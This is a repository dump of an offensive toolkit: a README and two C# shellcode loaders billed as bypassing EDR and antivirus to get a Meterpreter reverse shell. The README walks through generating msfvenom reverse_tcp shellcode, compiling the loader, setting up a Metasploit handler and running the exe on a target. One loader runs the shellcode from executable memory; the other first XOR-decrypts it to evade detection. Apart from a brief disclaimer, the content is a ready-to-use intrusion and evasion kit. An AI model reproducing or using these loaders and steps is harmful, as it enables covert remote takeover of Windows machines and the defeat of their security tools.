Repository: murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access Branch: main Commit: 51b9eb469c77 Files: 3 Total size: 5.7 KB Directory structure: gitextract_d2o17gl8/ ├── README.md ├── loader.cs └── loader_alternative.cs ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # EDR-Antivirus-Bypass-to-Gain-Shell-Access This repository contains a **proof-of-concept (PoC)** for bypassing EDR and antivirus solutions using a memory injection technique. The code executes shellcode that spawns a reverse shell, successfully evading detection by various security mechanisms. --- ## Description This project demonstrates how to bypass EDR and antivirus protection using Windows API functions such as `VirtualAlloc`, `CreateThread`, and `WaitForSingleObject`. The payload is injected directly into the process memory without being detected by security tools, establishing a connection to a remote system for a reverse shell. > **Disclaimer:** This code is for educational purposes only. Use it responsibly and only in environments where you have explicit permission to test. --- ## Features - Bypasses standard EDR and antivirus solutions - Executes shellcode in memory to create a reverse shell - Utilizes `VirtualAlloc` and `CreateThread` to inject the payload directly into process memory --- ## Requirements - Windows Operating System (Tested on Windows 11 Pro) - Kali Linux (For reverse shell listener) - Visual Studio or any C# compiler --- ## Steps to Compile & Run ### 1. Clone the Repository ```bash https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git cd EDR-Antivirus-Bypass-Shell-Access ``` ### 2. Modify Shellcode Before compiling, ensure that you modify the shellcode to point to your own IP address and port for the reverse shell. You can generate shellcode using `msfvenom:` ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f csharp ``` Replace the `byte[] buf` section in Program.cs with the shellcode you just generated. ### 3. Compile the Code Open the project in Visual Studio, or use the following command to compile the code using the .NET SDK: ```bash csc loader.cs ``` **Alternatively, you can compile in Release mode for better optimization: ```bash csc -optimize loader.cs ``` ### 4. Start a Listener on Kali On your Kali Linux machine, start a listener to catch the reverse shell. Use the following commands in Metasploit: ```bash msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST set LPORT run ``` ### 5. Execute the Payload Transfer the compiled .exe file to the Windows machine. You can execute the file manually or use any other method to run the file: ```bash loader.exe ``` 6. Obtain the Shell Once the payload is executed on the target machine, you should see a reverse shell session open in your Metasploit console. From there, you can interact with the system: ```bash meterpreter > sysinfo meterpreter > shell ``` 7. Additional Bypass Techniques To avoid detection by advanced EDR solutions, consider using techniques like process injection, obfuscation, or AMSI bypasses. This PoC can be extended with these methods for more robust evasion. This POC bypasses all current AV and EDR solutions. I will soon share with you the codes I have developed with more advanced methods. ![virustotal](loader.png) ================================================ FILE: loader.cs ================================================ using System; using System.Runtime.InteropServices; class Program { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); public static void Main(string[] args) { byte[] buf = new byte[510] { /* ... Shellcode ... */ }; IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000, 0x40); Marshal.Copy(buf, 0, addr, buf.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } } ================================================ FILE: loader_alternative.cs ================================================ using System; using System.Runtime.InteropServices; class Program { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); public static void Main(string[] args) { // Encrypted shellcode (encrypted using XOR as an example) byte[] encryptedShellcode = new byte[510] { /* ... Encrypted shellcode data ... */ }; byte[] buf = DecryptShellcode(encryptedShellcode); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x04 /* PAGE_READWRITE */); Marshal.Copy(buf, 0, addr, buf.Length); uint oldProtect; VirtualProtect(addr, (uint)buf.Length, 0x20 /* PAGE_EXECUTE */, out oldProtect); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } static byte[] DecryptShellcode(byte[] encryptedShellcode) { byte key = 0xAA; byte[] decryptedShellcode = new byte[encryptedShellcode.Length]; for (int i = 0; i < encryptedShellcode.Length; i++) { decryptedShellcode[i] = (byte)(encryptedShellcode[i] ^ key); } return decryptedShellcode; } }